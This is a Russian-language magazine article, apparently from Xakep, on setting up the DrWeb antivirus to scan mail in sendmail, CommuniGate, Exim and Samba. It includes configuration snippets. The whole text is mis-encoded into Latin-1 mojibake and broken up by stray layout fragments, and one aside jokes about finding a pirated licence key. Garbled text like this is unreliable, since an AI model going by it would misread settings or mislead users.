ïîäòâåðæäåíèÿ ó ïîëüçîâàòåëÿ» 

è çàïóñòèòå ìàêðîâèðóñ. 

ÎÑ è äðóãèå
ïðîãðàììû

Ìàêðîñ ¹1

Ìàêðîñ ¹2

Íèçêîóðîâíåâàÿ ðàáîòà ñ ôàéëàìè ïîçâîëÿåò îáìàíóòü ñòåëñ-âèðóñû

Èíñïåêòîð
Èçìåíåíèé

Çàðàæåííûé
ôàéë

OC

IOS

Ïîâåäåí÷åñêèé áëîêèðàòîð ëèøü 
çàùèùàåò îò âèðóñîâ, 
íî íå ëå÷èò òå ôàéëû, 

â êîòîðûõ âèðóñ óæå åñòü.

Íîâûé àíòèâèðóñ ñ òåõíîëîãèåé iChecker





Áëàãîäàðÿ
òîìó, ÷òî â
ñâåæèõ âåð-
ñèÿõ send-
mail ïîÿâè-
ëàñü íîâàÿ
ìíîãîïîòî÷-
íàÿ áèáëèî-
òåêà
MilterAPI,
ïîçâîëÿþ-
ùàÿ ïðèíè-
ìàòü êîìàí-
äû äëÿ
sendmail îò
äðóãèõ ïðè-
ëîæåíèé,
ñòàíîâèòñÿ
ðåàëüíûì
îáåñïå÷èòü
ïðîâåðêó íà
âèðóñû âñåõ
âõîäÿùèõ
ñîîáùåíèé.

Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Ñòàòüÿ ïîñâÿùàåòñÿ ëèíóêñîèäàì. Â ïåðâóþ î÷åðåäü, íà÷èíàþùèì àäìèíèñòðàòîðàì, êîòîðûå óæ áûëî ïîäóìàëè,
÷òî â ýòîì íîìåðå î íèõ ïðåäàòåëüñêè çàáûëè.

DRWEB - ÊÀÊ ÇÀ
ÊÀÌÅÍÍÎÉ ÑÒÅÍÎÉ!
ÈÍÒÅÃÐÈÐÓÅÌ ÄÅÌÎÍÎÂ Ñ ÀÍÒÈÂÈÐÓÑÎÌ

ïîñëåäíåå âðåìÿ âî-
ëåé-íåâîëåé ìû âñå
÷àùå ñòàëêèâàåìñÿ ñ
âèðóñàìè. Ðàññûëêà
çàðàçíûõ ñîîáùåíèé

íà e-mail íå âûçûâàåò íèêàêîãî óäèâ-
ëåíèÿ. Êîíå÷íî, òû óæå óìíûé è íè-
êîãäà íå ñòàíåøü çàïóñêàòü âëîæåí-
íûå ôàéëû, îòïðàâëåííûå íåèçâåñò-
íûì âèðóñîïèñàòåëåì. Ïîýòîìó ìîæ-
íî äàæå íå çàùèùàòü ñåáÿ îò ýòîé
íàïàñòè àíòèâèðóñíèêîì. Íî â ñëó-
÷àå, åñëè òû àäìèí ëîêàëêè èëè äåð-
æèøü õîñòèíã ñ e-mail ñåðâèñîì, òâîè
êëèåíòû áóäóò òåáå èñêðåííå áëàãî-
äàðíû, åñëè èõ ïèñüìà áóäóò àâòîìà-
òè÷åñêè ñêàíèðîâàòüñÿ íà âèðóñû.
Òåì ñàìûì òû îáåñïå÷èøü ñîõðàí-
íîñòü äðàãîöåííîãî òðàôèêà (â íàøå
âðåìÿ âèðóñû è òðîÿíû âåñÿò äîâîëü-
íî ìíîãî), à òàêæå óáåðåæåøü ñâîèõ
ïîäîïå÷íûõ îò çàðàæåíèÿ.

ß íåñïðîñòà ñêàçàë, ÷òî ýòîò ìàòåðèàë
áóäåò àêòóàëåí ëèøü äëÿ íà÷èíàþ-
ùèõ àäìèíîâ, íå èìåþùèõ îïûòà â
èíòåãðàöèè àíòèâèðóñà ñ ñèñòåìíûìè
ïðèëîæåíèÿìè (êàê òû, íàâåðíîå, ïî-
íÿë, ýòèì ìû ñåãîäíÿ è çàéìåìñÿ).
Îïûòíûé àäìèí, íà ëáó êîòîðîãî ïîë-
ñîòíè øèøåê, íàáèòûõ â æåñòîêîé
áîðüáå ñ ïðîáëåìàìè íàñòðîéêè êîí-
ôîâ, çà íåñêîëüêî ìèíóò ðåøèò ïîñ-
òàâëåííóþ çàäà÷ó (ïîñëå ïðî÷òåíèÿ
êðàòêîãî ìàíóàëà, ïðèëàãàþùåãîñÿ ê
ìîäóëþ). Äëÿ ÷åëîâåêà áåç îïûòà âñå
íàìíîãî ñëîæíåå: òîíêèå íþàíñû, áåç
ó÷åòà êîòîðûõ íè÷åãî íå áóäåò ðàáî-
òàòü, êàê ïðàâèëî, íå îñâåùàþòñÿ â
êîðîòêîì õåëïå, çàòî âñå îíè áóäóò
îïèñàíû çäåñü.

ÊÀÊ ÝÒÎ ÐÀÁÎÒÀÅÒ?
Ïðåæäå ÷åì ÷òî-ëèáî ñêà÷èâàòü è

íàñòðàèâàòü, âàæíî ÷åòêî ïîíèìàòü
ïðèíöèï èíòåãðàöèè. ×òî ìû èìååì?
Äîïóñòèì, ó íàñ óñòàíîâëåí sendmail
(íå íèæå âåðñèè 8.11), è ñòîèò ïîë-
íîñòüþ îòëàæåííàÿ ñèñòåìà, ñîñòîÿ-
ùàÿ èç ñåðâåðà drwebd è êëèåíòà
drweb-smf. Áëàãîäàðÿ òîìó, ÷òî â ñâå-
æèõ âåðñèÿõ ïî÷òîâèêà ïîÿâèëàñü íî-
âàÿ ìíîãîïîòî÷íàÿ áèáëèîòåêà
MilterAPI, ïîçâîëÿþùàÿ ïðèíèìàòü

êîìàíäû äëÿ sendmail îò äðóãèõ ïðè-
ëîæåíèé, ñòàíîâèòñÿ ðåàëüíûì îáåñ-
ïå÷èòü ïðîâåðêó íà âèðóñû âñåõ âõî-
äÿùèõ ñîîáùåíèé.

Êàê âèäíî íà ðèñóíêå, êîíå÷íîå ïðè-
ëîæåíèå íå ìîæåò âçàèìîäåéñòâî-
âàòü ñ ñåðâåðîì drwebd. Íî ïîñðåä-
ñòâîì MilterAPI, ïî÷òîâèê ìîæåò "îá-
ùàòüñÿ" ñ drweb-smf, à îí, â ñâîþ î÷å-
ðåäü, æäåò îò ñåðâåðà ïîëîæèòåëüíî-
ãî ëèáî îòðèöàòåëüíîãî îòâåòà.

Ïîñëå èçó÷åíèÿ ðàáîòû sendmail ñòà-
íîâèòñÿ ÿñíî, ÷òî MilterAPI ïåðåäàåò
ôèëüòðó êàæäóþ ÷àñòü ñîîáùåíèÿ
(íà÷èíàÿ îò helo è çàêàí÷èâàÿ data
ñåêöèÿìè). Âñå ýòè ÷àñòè drweb-smf
õðàíèò â îòäåëüíûõ ôàéëàõ. Ñëåäîâà-
òåëüíî, â ýòîé ñâÿçêå sendmail - êëè-
åíò, à drweb-smf - ñåðâåð, ïîýòîìó â
sendmail.cf è â êîìàíäíîé ñòðîêå
drweb-smf óêàçûâàåòñÿ àäðåñ ôèëüò-
ðà, à ïî÷òîâèê äëÿ ýòîãî ñîåäèíåíèÿ
âûáèðàåò ïîäõîäÿùèé êëèåíòñêèé àä-
ðåñ. Íå áóäó âäàâàòüñÿ â ïîäðîáíóþ
íàñòðîéêó êîíôà, òàê êàê îñòàíîâ-
ëþñü íà ýòîì íåñêîëüêî ïîçæå.

Âî âòîðîé ñâÿçêå âçàèìîäåéñòâóþò
óæå êëèåíò è ñåðâåð drweb. Ýòî ïðî-
èñõîäèò ñëåäóþùèì îáðàçîì: drweb-

smf êîííåêòèòñÿ ê drwebd íà 3000
ïîðò (ëèáî äðóãèì ñïîñîáîì, óêàçàí-
íûì â êîíôå). Ïîñëå ýòîãî êëèåíò äå-
ëàåò çàïðîñ íà ïðîâåðêó ôàéëà (êàê
ðàç òîãî, êîòîðûé ïåðåäàë sendmail).
Åñëè çàðàçà â ôàéëå íå îáíàðóæåíà,
ñåðâåð âîçâðàùàåò îòâåò - "âñå ÷èñ-
òî". Â ýòîì ñëó÷àå drweb-smf çàòèðàåò
âðåìåííûé äîêóìåíò è íè÷åãî íå
âîçâðàùàåò ïî÷òîâîìó ñåðâåðó. Â
ïðîòèâíîì ñëó÷àå âñå çàâèñèò îò êîí-
ôà: â ðåæèìå quarantine ôàéë àâòî-
ìàòè÷åñêè ïåðåíîñèòñÿ â êàòàëîã èí-
ôèöèðîâàííûõ ñîîáùåíèé, ìåòîä
reject ïðîñòî áëîêèðóåò äîñòàâêó (ñ
îïîâåùåíèåì), discard ìîë÷à óäàëèò
ñîîáùåíèå, à redirect âåðíåò ñîîáùå-
íèå îòïðàâèòåëþ. Ïîäðîáíåå î ìåòî-
äàõ ìû ïîãîâîðèì íåìíîãî ïîçæå.

Òåïåðü òû çíàåøü, ÷òî drweb-smf ÿâ-
ëÿåòñÿ ëèøü ïîñðåäíèêîì ìåæäó ñåð-
âåðîì sendmail è drwebd. Ýòî î÷åíü

Â
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Â ðàìêàõ ýòîãî ìàòåðèàëà ÿ íå ìîã îïèñàòü íàñòðîéêó âñåõ
ïîääåðæèâàåìûõ ïî÷òîâûõ ñåðâèñîâ. Ïîýòîìó ïðîñòî íàçîâó èõ.
Èòàê, Drweb ìîæåò èíòåãðèðîâàòüñÿ ñ CommuniGate, Sendmail,
Exim, Postfix,QMail, Zmailer, à òàêæå Samba.
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Ñõåìà âçàèìîäåéñòâèÿ ïî÷òîâèêà è àíòèâèðóñà

Ïðåæäå ÷åì ÷òî-ëèáî ñêà÷èâàòü 
è íàñòðàèâàòü, âàæíî ÷åòêî ïîíèìàòü

ïðèíöèï èíòåãðàöèè



âàæíî, òàê êàê ïîíèìàíèå âñåãî âû-
øåèçëîæåííîãî èçáàâèò òåáÿ îò ïðîá-
ëåì ñ ðåäàêòèðîâàíèåì êîíôèãóðàöè-
îííûõ ôàéëîâ.

ÍÀ×ÀËÎ ÏÎËÎÆÅÍÎ: ÑÅÐÂÅÐ
ÓÑÒÀÍÎÂËÅÍ

Áåç ïðàâèëüíîé óñòàíîâêè ñåðâå-
ðà íå áóäåò ðàáîòàòü íè îäèí êëèåíò,
ïîýòîìó òîïàåì íà www.drweb.ru è
êà÷àåì ñâåæóþ âåðñèþ áàçîâîé ïîñ-
òàâêè àíòèâèðóñà
(ftp://ftp.drweb.ru/pub/unix/drweb-
4.29.2-glibc.2.2.tar.gz). DrWeb îïÿòü
æå ïîñòàâëÿåòñÿ â áèíàðíîì âèäå,
òàê êàê ÿâëÿåòñÿ êîììåð÷åñêèì ïðî-
äóêòîì (íî êàêîé òû õàêåð, åñëè íå
ìîæåøü íàéòè ëèöåíçèîííûé êëþ÷
íà àëüòàâèñòå? ;)). Çàïóñêàåì
install.sh ñêðèïò, êîòîðûé ñïðîñèò ó
òåáÿ ïóòü ê ãëàâíîé äèðåêòîðèè ñåð-
âåðà, à çàòåì ðàñêèäàåò êîíôû (â
/etc/drweb) è áèíàðíèêè (/opt/drweb
ïî óìîë÷àíèþ) íà ñâîè ìåñòà. Îò òå-
áÿ îñòàåòñÿ òîëüêî ãðàìîòíî íàñòðî-
èòü êîíô /etc/drweb/drweb32.ini, ÷åì
ìû ñåé÷àñ è çàéìåìñÿ.

Íà ñàìîì äåëå, ïî äåôîëòó, êîíôèã
ÿâëÿåòñÿ âïîëíå ðàáî÷èì, íî ýòî íå
îçíà÷àåò, ÷òî òû äîëæåí ïîëíîñòüþ
çàäâèíóòü íà ïðîáëåìó åãî èçìåíå-
íèÿ è ïåðåéòè ê ñëåäóþùåìó øàãó.
Çíà÷èòåëüíîå êîëè÷åñòâî îïöèé â
ôàéëå òðåáóþò ïîíèìàíèÿ.

Êîíôèã íà÷èíàåòñÿ ñ ïàðàìåòðîâ
äëÿ êëèåíòà drweb. Â íà÷àëå ñåêöèè
[Linux] ïðåäîñòàâëÿþòñÿ ïóòè ê áèá-
ëèîòåêå drweb (EnginePath), âèðóñ-
íûì áàçàì (VirusBase), à òàêæå ê êà-
òàëîãó èíôèöèðîâàííûõ ôàéëîâ
(MoveFilesTo). Ïðè ñòàíäàðòíîé èíñ-
òàëëÿöèè íåò íóæäû èçìåíÿòü ýòè
ïàðàìåòðû, ïîýòîìó íå áóäó çàîñò-
ðÿòü íà íèõ âíèìàíèå. Äàëåå èäóò òè-
ïû ôàéëîâ, êîòîðûå áóäóò ïðîâå-
ðÿòüñÿ êëèåíòîì, à òàêæå ïóòü ê ëîã-
ôàéëó, êóäà ïèøåò drweb (ñîâåòóþ
íà äîñóãå åãî ïî÷èòàòü). Ñëåäîì èäóò
ëîãè÷åñêèå îïöèè íà ïðåäìåò ïðî-
âåðêè àðõèâîâ è âñåõ Å-mail ôàéëîâ.

Â ñëåäóþùåé ñåêöèè [Linux:Daemon]
ðàñïîëîæåíû ïàðàìåòðû, êîòîðûå
îáðàáàòûâàåò ñåðâåð drwebd. Çäåñü
òû ìîæåøü èçìåíèòü ðåæèì ñåðâåðà
(daemon èëè unix socket). Ïî óìîë÷à-
íèþ äåìîí ñëåäèò çà 3000 ïîðòîì è
ïèøåò ëîãè ÷åðåç syslog
(LogFileName = "syslog"). Åñëè òû õî-
÷åøü îòäåëüíûé log-ôàéë, ìèíóÿ
ñèñëîã, ïðîñòî ïåðåîïðåäåëè ýòó îï-
öèþ. Â ïàðàìåòðå Interfaces çàäàåòñÿ
èíòåðôåéñ, íà êîòîðûé "ñàäèòñÿ"
ñåðâåð (â ñëó÷àå óäàëåííîé ïðîâåð-
êè ôàéëîâ öåëåñîîáðàçíî èçìåíèòü
åãî çíà÷åíèå).

Ñàìûìè èíòåðåñíûìè ïàðàìåòðàìè â
êîíôå ÿâëÿþòñÿ, ïîæàëóé, ôèëüòðû
íà ïîëÿ E-mail. Çà ýòî îòâå÷àåò
FilterRule. Íàïðèìåð, ïðè çíà÷åíèè
"Subject "*Open the attach*" Reject"

ñåðâåð áóäåò àâòîìàòè÷åñêè ñ÷èòàòü
ïèñüìî çàðàæåííûì. Ðåêîìåíäóþ ïî-
èãðàòüñÿ ñ ýòîé îïöèåé è äîñòè÷ü
íóæíîãî ðåçóëüòàòà.

Íàïîñëåäîê ñòîèò âðóáèòü ñåðâåð êî-
ìàíäîé service drwebd start, à çàòåì
äîáàâèòü åãî â àâòîçàïóñê. Ýòî ñäåëà-
åò chkconfig (chkconfig --add drwebd).
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Drweb-smf
ÿâëÿåòñÿ
ëèøü ïîñ-
ðåäíèêîì
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ïîíèìàíèå
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ÊÎÍÔÈÃÓÐÀÖÈÎÍÍÛÉ ÔÀÉË MAIL-ÔÈËÜÒÐÀ

[DaemonCommunication]
Address = inet:3000@localhost
[Scanning]
## Ïàðàìåòð óêàçûâàåò, ÷òî ñåðâåð âèñèò íà 3000 ïîðòó àäðåñà
localhost. Ïî óìîë÷àíèþ ýòî äåéñòâèòåëüíî òàê.
StripPath = 2
PrefixPath = /chroot/cgate
## Îïöèè, êîòîðûå íóæíû, åñëè ñåðâåð ðàáîòàåò â chroot. StripPath
ïîçâîëÿåò îáðåçàòü óêàçàííîå ÷èñëî êàòàëîãîâ, íà÷èíàÿ ñ êîðíÿ, à
PrefixPAth àâòîìàòè÷åñêè ïîäñòàâëÿåòñÿ ê ïóòè (íàïðèìåð,
/some/path/file/viruzz.exe ïðåîáðàçóåòñÿ â
/chroot/cgate/file/viruzz.exe).
ReportMaxSize = 8192
Ìàêñèìàëüíûé ðàçìåð óâåäîìëåíèÿ. Ïðè çíà÷åíèè 0 ðàçìåð íå
êîíòðîëèðóåòñÿ, íî â ðÿäå ñëó÷àåâ îò÷åò ìîæåò äîñòèãàòü íåñêîëü-
êèõ ìåãàáàéò. Ïîýòîìó ðåêîìåíäóåòñÿ âûñòàâëÿòü ôèêñèðîâàííûé
ðàçìåð.
[Actions]
Infected = quarantine
## Ïàðàìåòð Infected îçíà÷àåò íàëè÷èå çàðàçû â ïèñüìå. Ìåòîä
quarantine, êàê áûëî îïèñàíî âûøå, ïîìåùàåò âèðóñ â äèðåêòîðèþ
ñ çàðàæåííûìè ôàéëàìè (îïðåäåëÿåòñÿ â drweb32.ini).
Suspicious = quarantine
## Äàííàÿ îïöèÿ îçíà÷àåò íàëè÷èÿ ôàéëà, ïîäîçðèòåëüíîãî íà âè-
ðóñ. Â íàøåì ñëó÷àå òàêèå áèíàðíèêè òàêæå îòïðàâëÿþòñÿ â êàðàí-
òèí. Äëÿ ïàðàìåòðà ñóùåñòâóåò ìåòîä pass, ïðè êîòîðîì íå ïðîèñ-
õîäèò íèêàêèõ äåéñòâèé.
RuleFilterAlert = reject
## RuleFilterAlert îçíà÷àåò, ÷òî ïèñüìî ïîïàëî ïîä çàïðåùàþùèé
ôèëüòð çàãîëîâêîâ (ïðî íåãî ÿ ãîâîðèë âûøå). Ðàçóìååòñÿ, ëîãè÷-
íî ïðîñòî óäàëèòü òàêîå ñîîáùåíèå.
EmptyFrom = continue
## Ïàðàìåòð ñëåäèò çà èìåíåì îòïðàâèòåëÿ. Åñëè ïîëå ïóñòîå, îá-
ðàáàòûâàåòñÿ ìåòîä, äàííûé äëÿ íåãî. Â íàøåì ñëó÷àå continue íå
áëîêèðóåò òàêîå ñîîáùåíèå.
SkipObject = pass
## Â ñëó÷àå åñëè àðõèâ çàùèùåí ïàðîëåì, ëèáî ïî äðóãèì ïðè÷è-
íàì íåâîçìîæíî ïðîâåðèòü àðõèâ, îáðàáàòûâàåòñÿ SkipObject.
AdminMail = email@local.net
## Ïî÷òîâûé àäðåñ àäìèíèñòðàòîðà, íà êîòîðûé áóäåò âûñûëàòüñÿ
óâåäîìëåíèå î âèðóñàõ.
FilterMail = drweb@local.net
## Ïî÷òîâûé àäðåñ, êîòîðûé áóäåò ïîäñòàâëÿòüñÿ ôèëüòðîì ïðè
ãåíåðàöèè óâåäîìëåíèÿ.
Quarantine = "/var/drweb/infected"
## Äèðåêòîðèÿ äëÿ çàðàæåííûõ ôàéëîâ (ïî óìîë÷àíèþ, áåðåòñÿ
èç êîíôèãà drwebd).
[VirusNotifications]
AdminNotify =yes
RcptsNotify = yes
## Ïàðàìåòðû ïîêàçûâàþò, ÷òî ïðè îáíàðóæåíèå âèðóñà áóäåò àâ-
òîìàòè÷åñêè ðàçîñëàíî óâåäîìëåíèå êàê àäìèíó, òàê è ïîëó÷àòåëþ.
MailSystem = CommuniGatePro
## Óêàçàíèå ñèñòåìû, äëÿ êîòîðîé ñëóæèò êîíôèã ôèëüòðà.
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ÍÎÂÎÅ ÏÎÊÎËÅÍÈÅ ÂÛÁÈÐÀÅÒ
COMMUNIGATE!

Åñëè òû ñòàëêèâàëñÿ ñ ïðîáëåìîé
âûáîðà ïî÷òîâèêà, òî ïîíèìàåøü -
äëÿ òîãî ÷òîáû âêëþ÷èòü êàêóþ-ëèáî
ôè÷ó â sendmail, íóæíî ïåðå÷èòàòü
òóåâó õó÷ó ìàíîâ, à ïîòîì íàñëàäèòü-
ñÿ ðåäàêòèðîâàíèåì ñëîæíîãî ôàéëà
êîíôèãóðàöèè. Êîìïàíèÿ Stalker ïîø-
ëà äðóãèì ïóòåì - îíà âûïóñòèëà
óäîáíûé ïî÷òîâûé ñåðâåð
CommuniGate, êîòîðûé àäìèíèòñÿ ÷å-
ðåç Web-èíòåðôåéñ. ×òî óäîáíåå: ðå-
äàêòèðîâàòü êîíô äâà ÷àñà èëè ñäå-
ëàòü ïàðó êëèêîâ ìûøüþ è äîáèòüñÿ
òîãî æå ðåçóëüòàòà? Îòâåò î÷åâèäåí,
ïîýòîìó ëþäè ïëàâíî ïåðåõîäÿò íà
CommuniGate (êñòàòè, â ïëàíå áàãîâ
îí íàìíîãî ñòàáèëüíåå èç-çà ñêðûòûõ
èñõîäíèêîâ).

Drweb ïðåêðàñíî âçàèìîäåéñòâóåò ñ
CommuniGate. Äëÿ ýòîãî íóæíî ñêà-
÷àòü ñïåöèàëüíûé êëèåíò, êîòîðûé
âûëîæåí ïî àäðåñó
ftp://ftp.drweb.ru/pub/unix/drweb-cgp-
4.29.12-E-linux.tar.gz. Ðàñïàêîâûâàåì è
âðó÷íóþ ðàñêèäûâàåì äèðåêòîðèè íà
èõ çàêîííûå ìåñòà (ðàçðàáîò÷èêè ïî-
ëåíèëèñü äàæå ïîëîæèòü ñïåöèàëü-
íûé install-ñêðèïò). Â áèíàðíîé äèðåê-
òîðèè ìû íàéäåì êëèåíòà drweb-cgp è
êðàòêóþ äîêóìåíòàöèþ ïî åãî ðàáîòå.
Íàñ áîëüøå èíòåðåñóåò ôàéëû â
/etc/drweb. Òàì íàõîäèòñÿ, ñîáñòâåí-
íî, êîíôèã êëèåíòà, ïàðà êîíôèãîâ,
êîòîðûå ñëóæàò äëÿ ïëàñòè÷íîé
ôèëüòðàöèè ïîëüçîâàòåëåé, íóæäàþ-
ùèõñÿ â ïðîâåðêå. È íàïîñëåäîê áàçà
ñ âèðóñàìè, â êîòîðóþ òû ìîæåøü äî-
áàâèòü ëþáîå çàïðåùåííîå èëè ðàç-
ðåøåííîå èìÿ ôàéëà.

Îñòàíîâèìñÿ ïîäðîáíåå íà êîíôèãå.
Äåëî â òîì, ÷òî êîíôèãóðàöèîííûé
ôàéë äëÿ âñåõ ïî÷òîâûõ ôèëüòðîâ
ïðàêòè÷åñêè îäèíàêîâûé, ïîýòîìó, åñ-
ëè òû ïîéìåøü îäèí êîíôèã, ñ äðóãèì
ó òåáÿ ïðîáëåì íå âîçíèêíåò. Â òàáëè-
öå ÿ óêàæó ëèøü îñîáûå ïàðàìåòðû,
êîòîðûå âàæíû äëÿ ïîíèìàíèÿ. Îñ-
òàëüíûå ìîæåøü îñòàâèòü êàê åñòü.

Ñ êîíôèãîì ðàçîáðàëèñü. Âïðåäü ÿ íå
áóäó âîçâðàùàòüñÿ ê âîïðîñó åãî ðå-
äàêòèðîâàíèÿ, ïîòîìó ÷òî, êàê ÿ óæå
ñêàçàë, ôàéë îäèíàêîâ äëÿ âñåõ ïî÷-
òîâûõ ñèñòåì.

Òåïåðü îáðàòèìñÿ ê ôàéëàì
users.conf è addresses.conf. Îí èìååò
î÷åíü ïðîñòîé ñèíòàêñèñ è ñëóæèò
äëÿ çàäàíèÿ àäðåñîâ, êîòîðûå íå áó-
äóò ïîäâåðãàòüñÿ ïðîâåðêå íà âèðóñû.
Ïîäðîáíîå îïèñàíèå åãî íàñòðîéêè

ëåæèò â äîêóìåíòàöèè è íå ïðåäñòàâ-
ëÿåò îñîáîé ñëîæíîñòè, ïîýòîìó íå
áóäåì îáðàùàòü íà íåãî îñîáîãî âíè-
ìàíèÿ.

Â viruses.conf òû ìîæåøü çàäàòü ìàñ-
êó íà èìÿ àòòà÷à è ñîîòâåòñòâåííî âû-
íåñòè "ïðèãîâîð" äëÿ íåãî. Ê ïðèìåðó,
ïðàâèëî

allow   deny     deny    allow        "Viruzz"

ðàçðåøàåò îòïðàâëåíèå óâåäîìëåíèÿ
àäìèíó, íî çàïðåùàåò îòïðàâèòåëþ è
ïðèåìíèêó. Òàêæå êëàäåò çàðàæåííûé
ôàéë, ñîâïàäàþùèé ñ ïîäñòðîêîé
"Viruzz", â "êàðàíòèí".

Ñ íàñòðîéêîé ðàçîáðàëèñü. Òåïåðü îñ-
òàëîñü ïðîòåñòèðîâàòü êëèåíò. Äëÿ
ýòîãî èñïîëüçóåì ïàðàìåòð --
check_only â åãî çàïóñêå. Åñëè âñå
ñäåëàíî ïðàâèëüíî, íà ìûëî àäìèíó
ïðèäåò òåñòîâîå óâåäîìëåíèå.

Òåïåðü çàéìåìñÿ êîììóíèãåéòîì. Äëÿ
êîððåêòíîé îáðàáîòêè ñîîáùåíèé íå-
îáõîäèìî ïðîñòàâèòü ôèëüòð è âêëþ-
÷èòü ïîääåðæêó âíåøíåãî îáðàáîò÷è-
êà, òî áèøü êëèåíòà. Äëÿ ýòîãî çàõî-
äèì íà WebAdmin âî âêëàäêó General-
>Helpers. Òàì ñòàâèì ãàëî÷êó íàïðîòèâ
Content Filtering è óêàçûâàåì ïîëíûé
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Ôðàãìåíò ðàáî÷åãî êîíôèãà

Äîáàâëåíèå âíåøíåãî ôèëüòðà

Ïðàâèëî äëÿ ôèëüòðàöèè ñîîáùåíèé

Ôèëüòðàöèÿ ïèñüìà DrWeb'îì



ïóòü ê ôèëüòðó ñîîáùåíèé. Ïîñëå
ýòîãî âñå çàãîëîâêè áóäóò ïåðåäà-
âàòüñÿ ïðîãðàììå.

Òåïåðü çàéäåì âî âêëàäêó Rules. Òàì
ñîçäàåì íîâîå ïðàâèëî ñ óñëîâèåì íà
ðàçìåð ñîîáùåíèÿ (ÿ ïîñòàâèë ìèíè-
ìàëüíîå îãðàíè÷åíèå íà 3 Êá) è ïåðå-
íàïðàâëÿåì ñîîáùåíèå íà

ExternalFilter. Îáçîâåì ïðàâèëî èìå-
íåì drweb-filter.
Íàñòàëî âðåìÿ ïðîâåðèòü ðàáîòó ïå-
ðåõâàò÷èêà. Äëÿ ýòîãî ïðîñòî çàøëè
âèðóñ íà ñâîé ëîêàëüíûé àäðåñ. Â
ñëó÷àå óñïåõà òåáå, îòïðàâèòåëþ è
àäìèíó ïðèäåò óâåäîìëåíèå î íàëè-
÷èè âèðóñà â òåëå ñîîáùåíèÿ. Ýòî
îçíà÷àåò, ÷òî âñå ðàáîòàåò êàê íóæ-
íî. Â ïðîòèâíîì ñëó÷àå ñìîòðè ëîãè
êîììóíèãåéòà è äåìîíà - ÷òî-òî ðà-
áîòàåò íå òàê.

SENDMAIL ÄËß ÓÌÍÛÕ 
ÀÄÌÈÍÎÂ

Âåðíåìñÿ ê íàøèì áàðàíàì. À
èìåííî ê òîìó, ñ ÷åãî ÿ íà÷èíàë ñâîþ
ñòàòüþ. Äëÿ íàñòðîéêè Sendmail âàæ-
íî çíàòü, ÷òî äåìîí îáÿçàòåëüíî ñîá-
ðàí ñ ïîääåðæêîé MilterAPI. Åñëè ýòî

òàê, îòêðûâàåì /etc/mail/sendmail.cf è
âïèñûâàåì òóäà ñëåäóþùèå ñòðîêè:

## Input mail filters ##
O InputMailFilters=drweb-filter 
O Milter.LogLevel=6
##  Xfilters ##
Xdrweb-filter,  S=inet:3001@localhost,
F=T, T=C:1m;S:5m;R:5m;E:1h 
## Ïðèìå÷àíèå: ôëàã T îçíà÷àåò îòê-
ëàäêó äîñòàâêè, åñëè ñåðâèñ ïðîâåðêè
íà âèðóñû íåäîñòóïåí. Èìååòñÿ òàêæå
ôëàã R, êîòîðûé îòêàçûâàåò â äîñòàâ-
êå. Åñëè íå óêàçûâàòü ôëàãîâ, ñîîá-
ùåíèå ïðîïóñêàåòñÿ áåç âñÿêèõ ïðîá-
ëåì.
INPUT_MAIL_FILTER(`drweb-filter',
`S=inet:3001@localhost, F=T,
T=C:1m;S:5m;R:5m;E:1h')
define(`confMILTER_LOG_LEVEL',̀ 6')

Çàòåì ïåðåêîìïèëèì êîíôèã è ïåðå-
çàïóñòèì sendmail.

Âíèìàíèå! Ïàðàìåòðû ðàáîòàþò ëèøü
â ñåðâåðå âåðñèè 8.12. Äëÿ áîëåå ñòà-
ðûõ âåðñèé âàðèàíòû êîíôèãà óêàçà-
íû â äîêóìåíòàöèè ê ôèëüòðó.
Íàñòðîéêà êëèåíòà àíàëîãè÷íà â ñëó-
÷àå ñ CommuniGate, ïîýòîìó â îïèñà-
íèè íå íóæäàåòñÿ. Ñëåäóåò îòìåòèòü,
÷òî ïðîãðàììà-ôèëüòð áóäåò íàçû-
âàòüñÿ drweb-smf.

DRWEB VS EXIM
Íå ìåíåå ïîïóëÿðíûì ïî÷òîâèêîì

ÿâëÿåòñÿ exim (www.exim.org). Äëÿ íå-
ãî òàêæå ñóùåñòâóåò êëèåíò drweb, êî-
òîðûé ôèëüòðóåò âõîäÿùèå è èñõîäÿ-
ùèå ñîîáùåíèÿ. Ñêà÷àòü òû åãî ìî-
æåøü ïî àäðåñó
ftp://ftp.drweb.ru/pub/unix/drweb-exim-
4.29.12-F-linux.tar.gz. Ïîñëå ðàñïàêîâ-
êè è ïåðåìåùåíèÿ êëèåíòà çàéìåìñÿ
ðåäàêòèðîâàíèåì êîíôèãà ïî÷òîâèêà.

Â ïåðâóþ î÷åðåäü íåîáõîäèìî äîáà-
âèòü â ðàçäåë "MESSAGE FILTER CON-
FIGURATION SETTINGS" ñëåäóþùèå
ïàðàìåòðû:

message_filter = /path/to/system/filter
message_filter_pipe_transport =
_pipe_transport_name_
message_filter_reply_transport =
address_reply 

Äàëåå â ðàçäåëå "TRANSPORTS CON-
FIGURATION":

filter_pipe:
driver = pipe
user = root
group = root
return_fail_output 

È, íàêîíåö, â ïóòè, îïèñàííîì âûøå
êàê (/ïóòü/ê/ñèñòåìíîìó/ôèëüòðó),
íóæíî ñîçäàòü ôàéë ôèëüòðà, èëè,
åñëè ôàéë óæå ñóùåñòâóåò, äîñòàòî÷-
íî äîáàâèòü â íåãî íîâûé ôèëüòð:

if $received_protocol is "drweb-
scanned"
then 
finish

endif

if error_message and $header_from:
contains "Mailer-Daemon@"
then  

finish
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Åñëè ó òåáÿ âîçíèêëè ïðîáëåìû, îïèñàíèÿ êîòîðûõ íåò â äîêó-
ìåíòàöèè, ìîæåøü ïîñåòèòü ôîðóì íà îôèöèàëüíîì ñàéòå:
http://forum.drweb.ru/unix/. Òàì òû îòûùåøü îòâåòû íà âñå âîïðî-
ñû, à â ïðîòèâíîì ñëó÷àå, ñìîæåøü çàäàòü èõ â íîâîé òåìå.

×ÒÎ-ÒÎ ÍÅ ÐÀÁÎÒÀÅÒ

smb_spider.so.1 - Samba 2.2.1, 2.2.2
smb_spider.so.2 - Samba 2.2.3
smb_spider.so.3 - Samba 2.2.4, 2.2.5
smb_spider.so.4 - Samba 2.2.6, 2.2.7
smb_spider.so.5 - Samba 3.0alphaXX

ÂÛÁÎÐ ÍÓÆÍÎÉ ÁÈÁËÈÎÒÅÊÈ DRWEB

Êîíôèãóðàöèîííûé ôàéë sendmail

[shared]
comment = Public Shared Directory
path = /home/public
writable = yes
public = yes
write list = @root,@smb
vfs object = /opt/drweb/smb_spider.so

ÔÐÀÃÌÅÍÒ SMB.CONF

»



Àäìèíû
ïîäíèìàþò
ðàçëè÷íûå
ñëóæáû, îä-
íîé èç êî-
